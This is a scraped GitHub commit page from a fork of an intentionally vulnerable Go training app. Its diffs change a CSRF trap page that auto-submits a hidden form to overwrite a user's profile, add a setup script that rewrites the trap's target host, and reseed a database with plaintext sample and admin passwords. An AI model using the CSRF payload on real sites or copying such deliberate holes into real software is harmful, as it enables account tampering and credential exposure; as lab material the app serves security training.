forked from Hardw01f/Vulnerability-goapp
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request Hardw01f#42 from Snow-HardWolf/refactor/Beterrafor…
…mrize Refactor/beterraformrize
- Loading branch information
Showing
9 changed files
with
42 additions
and
15 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -7,7 +7,7 @@ | |
<link rel="stylesheet" href="./assets/style.css" type="text/css"> | ||
<body onload="document.csrf.submit();"> | ||
<p>aaaaa</p> | ||
<form name="csrf" action="http://localhost:9090/profile/edit/update" method="POST"> | ||
<form name="csrf" action="http://localhost/profile/edit/update" method="POST"> | ||
<input type="hidden" name="username" value="Hacked!!"> | ||
<input type="hidden" name="age" value="2048"> | ||
<input type="hidden" name="mail" value="[email protected]"> | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,2 @@ | ||
sed -i -e s/localhost/`curl http://ip4.me | grep size=+ | awk -F'>' '{print $4}' | awk -F'<' '{print $1}'`/g ./Trap/DetailCSRF.gtpl | ||
sed -i -e s/localhost/`curl http://ip4.me | grep size=+ | awk -F'>' '{print $4}' | awk -F'<' '{print $1}'`/g ./Trap/PasswdCSRF.gtpl |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -2,10 +2,10 @@ SET CHARACTER_SET_CLIENT = utf8; | |
SET CHARACTER_SET_CONNECTION = utf8; | ||
create database vulnapp; | ||
create table vulnapp.user (id int not null auto_increment primary key, name varchar(255) not null,mail varchar(255),age int not null,passwd varchar(255) not null, created_at timestamp not null default current_timestamp, updated_at timestamp not null default current_timestamp on update current_timestamp); | ||
insert into vulnapp.user (name,mail,age,passwd) values ("Amuro Ray","[email protected]",15,"Mieru,Mieruzo!"),("Char Aznable","[email protected]",20,"BouyaDakarasa..."),("Kamille Bidan","[email protected]",17,"Kikoeru...Koega..."),("Judau Ashta","[email protected]",14,"Hamaaaan!!"),("Banagher Links","[email protected]",16,"HitoNoMiraiHa...HitoGaTsukuruMonoDa!!!"); | ||
insert into vulnapp.user (name,mail,age,passwd) values ("Amuro Ray","[email protected]",15,"Amuro,Ikima-su!"),("Char Aznable","[email protected]",20,"AkaiSuisei"),("Banagher Links","[email protected]",16,"CongratulationsNowYouHaveMasteredSQLinjection"); | ||
create table vulnapp.sessions (uid int,sessionid varchar(128)); | ||
create table vulnapp.userdetails (uid int not null primary key, userimage varchar(64), address varchar(64), animal varchar(32), word varchar(64)); | ||
insert vulnapp.userdetails(uid,userimage,address,animal,word) values (1,"amuro.png","SIDE-7","GANDOM","アムロ、行きまーす!"),(2,"char.png","SIDE-3","ZAKU","Misetemoraouka...RenpouNoMStoYarawo!!"),(3,"kamiyu.png","SIDE-7","Z-GANDOM","遊びでやってんじゃないんだよ!!!"),(4,"judou.png","SIDE-1","ZZ-GANDOM","貴様のようなやつは・・・・許せないんだよ!!"),(5,"unicorn.png","INDUSTRIAL-7","UNICORN GANDOM","人の未来は...人が作るものだ!!"); | ||
insert vulnapp.userdetails(uid,userimage,address,animal,word) values (1,"amuro.png","SIDE-7","GANDOM","こいつ...、動くぞ!"),(2,"char.png","SIDE-3","ZAKU","連邦のMSは化物か!?"),(3,"unicorn.png","INDUSTRIAL-7","UNICORN GANDOM","人の未来は...人が作るものだ!!"); | ||
create table vulnapp.posts (postid int not null primary key auto_increment, uid int not null, post varchar(256) not null, created_at timestamp not null default current_timestamp); | ||
create table vulnapp.admins (adminid int primary key not null auto_increment, mail varchar(32), passwd varchar(64)); | ||
insert into vulnapp.admins(mail,passwd) values ("[email protected]","Qwerty1234"),("[email protected]","RX-78-2"); | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters